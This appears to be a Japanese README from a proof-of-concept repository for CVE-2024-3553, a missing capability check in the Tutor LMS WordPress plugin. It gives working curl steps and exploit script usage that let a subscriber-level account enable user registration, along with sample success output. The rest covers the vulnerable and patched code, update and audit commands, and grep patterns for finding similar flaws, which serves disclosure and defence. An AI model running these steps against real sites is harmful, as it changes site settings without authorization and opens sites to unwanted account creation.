
CVE-2024-3553: Tutor LMS <= 2.6.2 - Missing Authorization vulnerability allowing authenticated attackers to enable user registration
Tutor LMS – WordPress用のeラーニングおよびオンラインコースソリューションプラグインは、バージョン2.6.2までのすべてのバージョンにおいて、hide_notices()関数に対する能力チェックの欠如により、データの不正な変更に対して脆弱です。これにより、認証された攻撃者(購読者などの低権限ユーザーを含む)が、管理者によって無効にされている可能性のあるサイトでユーザー登録を有効にすることが可能になります。
完全なPythonエクスプロイトが利用可能です: exploit-cve-2024-3553-v2.py
# 完全自動悪用
python3 exploit-cve-2024-3553-v2.py https://target.com --username subscriber --password password123
# 登録ステータスのみ確認
python3 exploit-cve-2024-3553-v2.py https://target.com --check-only
前提条件:
ステップ1: 低権限ユーザーとしてログイン
# 購読者または任意の認証済みユーザーとしてログイン
curl -c cookies.txt -d "log=subscriber&pwd=password123" \
https://target.com/wp-login.php
ステップ2: 管理エリアからNonceを抽出
# 認証されたユーザーは(購読者でも) /wp-admin/ にアクセス可能
curl -b cookies.txt https://target.com/wp-admin/ | grep -o '_wpnonce=[^"&]*' | head -1
ステップ3: エクスプロイトを実行
# ユーザー登録を有効にするリクエストを送信
curl -b cookies.txt \
"https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=NONCE_HERE"
ステップ4: 成功を確認
# 登録が有効になったか確認
curl https://target.com/wp-login.php?action=register | grep -q "user_login" && echo "登録が有効になりました" || echo "登録は無効です"
# 認証済みユーザーとして、以下にアクセスするだけ:
https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=<NONCE>
======================================================================
CVE-2024-3553 Exploit - Tutor LMS Missing Authorization
Target: https://target.com
======================================================================
[*] Checking current registration status...
[+] Registration is currently DISABLED
[*] Attempting to login as: subscriber
[+] Successfully logged in as: subscriber
[*] Step 2: Extracting nonce from admin area...
[+] Found nonce: abc123def456
[*] Step 3: Executing exploit to enable user registration...
[*] Target: https://target.com
[*] Using nonce: abc123def456
[*] Exploit URL: https://target.com/wp-admin/index.php
[*] Parameters: {'tutor-hide-notice': 'registration', 'tutor-registration': 'enable', '_wpnonce': 'abc123def456'}
[*] Response status: 200
[+] Exploit request sent successfully!
[*] Step 4: Verifying exploitation success...
[+] Registration is currently ENABLED
======================================================================
[!] EXPLOITATION SUCCESSFUL!
[!] User registration is now ENABLED
[!]
[!] Impact: An attacker with a low-privilege account (subscriber)
[!] was able to enable user registration on a site where it was
[!] disabled. This could allow creation of additional accounts,
[!] potentially leading to spam or unauthorized access.
======================================================================
ファイル: /classes/User.php(約800~815行目)
public function hide_notices() {
$hide_notice = Input::get( 'tutor-hide-notice', '' );
$is_register_enabled = Input::get( 'tutor-registration', '' );
// 重大な欠陥: is_admin() は管理エリア内かどうかのみをチェックし、ユーザーロールはチェックしない!
if ( is_admin() && 'registration' === $hide_notice ) {
tutor_utils()->checking_nonce( 'get' );
if ( 'enable' === $is_register_enabled ) {
// 能力チェックなし - 認証されたユーザーなら誰でも実行可能!
update_option( 'users_can_register', 1 );
} else {
self::$hide_registration_notice = true;
setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
}
}
}
主な脆弱性ポイント:
is_admin() はリクエストが管理ページへのものであることのみを確認し、ユーザーが管理者であることは確認しない/wp-admin/ にアクセス可能current_user_can('manage_options') 能力チェックusers_can_register オプションを変更できるファイル: /classes/User.php(パッチ適用版)
public function hide_notices() {
$hide_notice = Input::get( 'tutor-hide-notice', '' );
$is_register_enabled = Input::get( 'tutor-registration', '' );
// セキュリティ修正: 能力チェックを追加
$has_manage_cap = current_user_can( 'manage_options' );
if ( $has_manage_cap && is_admin() && 'registration' === $hide_notice ) {
tutor_utils()->checking_nonce( 'get' );
if ( 'enable' === $is_register_enabled ) {
update_option( 'users_can_register', 1 ); // 適切に保護されました
} else {
self::$hide_registration_notice = true;
setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
}
}
}
このパッチでは current_user_can('manage_options') を追加し、オプション更新を許可する前にユーザーが管理者権限を持っていることを確認します。
この脆弱性は、WordPressの認可機能に関する重大な誤解を示しています:
間違い ❌:
if ( is_admin() ) {
// 「ユーザーは管理者」と誤解
update_option( 'sensitive_option', $value );
}
正しい ✅:
if ( current_user_can( 'manage_options' ) ) {
// 実際にユーザーが管理者権限を持っているかチェック
update_option( 'sensitive_option', $value );
}
| 関数 |
|---|
適切なWordPressセキュリティには複数の層が必要です:
これらの層のいずれかを欠くと、脆弱性につながる可能性があります。
サイト管理者向け:
すぐにTutor LMSバージョン2.7.0以降に更新してください:
# WP-CLI経由
wp plugin update tutor --version=2.7.0
# WordPress管理画面経由
ダッシュボード → プラグイン → "Tutor LMS" を探す → "今すぐ更新" をクリック
最近の変更の監査:
# 登録設定が最近変更されたか確認
wp option get users_can_register
# 最近のユーザー登録を確認
wp user list --orderby=registered --order=DESC --number=20
is_admin() だけに依存しないcurrent_user_can() を使用するWordPressプラグインの認可問題を監査する際:
# 1. 能力チェックなしの is_admin() を検索
grep -r "is_admin()" . | grep -v "current_user_can"
# 2. 直接のオプション更新を探す
grep -r "update_option\|add_option" .
# 3. 能力チェックのないAJAXハンドラを見つける
grep -r "wp_ajax_" . -A 10 | grep -v "current_user_can"
README.md - このファイルexploit-cve-2024-3553.py - 基本的なPythonエクスプロイトexploit-cve-2024-3553-v2.py - 詳細なドキュメント付きの拡張Pythonエクスプロイトmanual-exploit-cve-2024-3553.sh - 手動悪用スクリプトtest-cve-2024-3553-direct.sh - 直接確認テストスクリプト発見日: 2024-04-15 開示日: 2024-05-20 パッチ適用日: 2024-05-21 (v2.7.0) テスト日: 2025-12-26 分類: 脆弱性検証成功
| 実際にチェックする内容 |
|---|
| セキュリティ上の用途 |
|---|
is_admin() | 現在のURLが /wp-admin/ 内にあるかどうか | ❌ 認可には使用しない |
current_user_can() | ユーザーが特定の能力を持っているかどうか | ✅ 適切な認可 |
wp_verify_nonce() | リクエストが意図的かどうか(CSRF保護) | ✅ ただし単独では不十分 |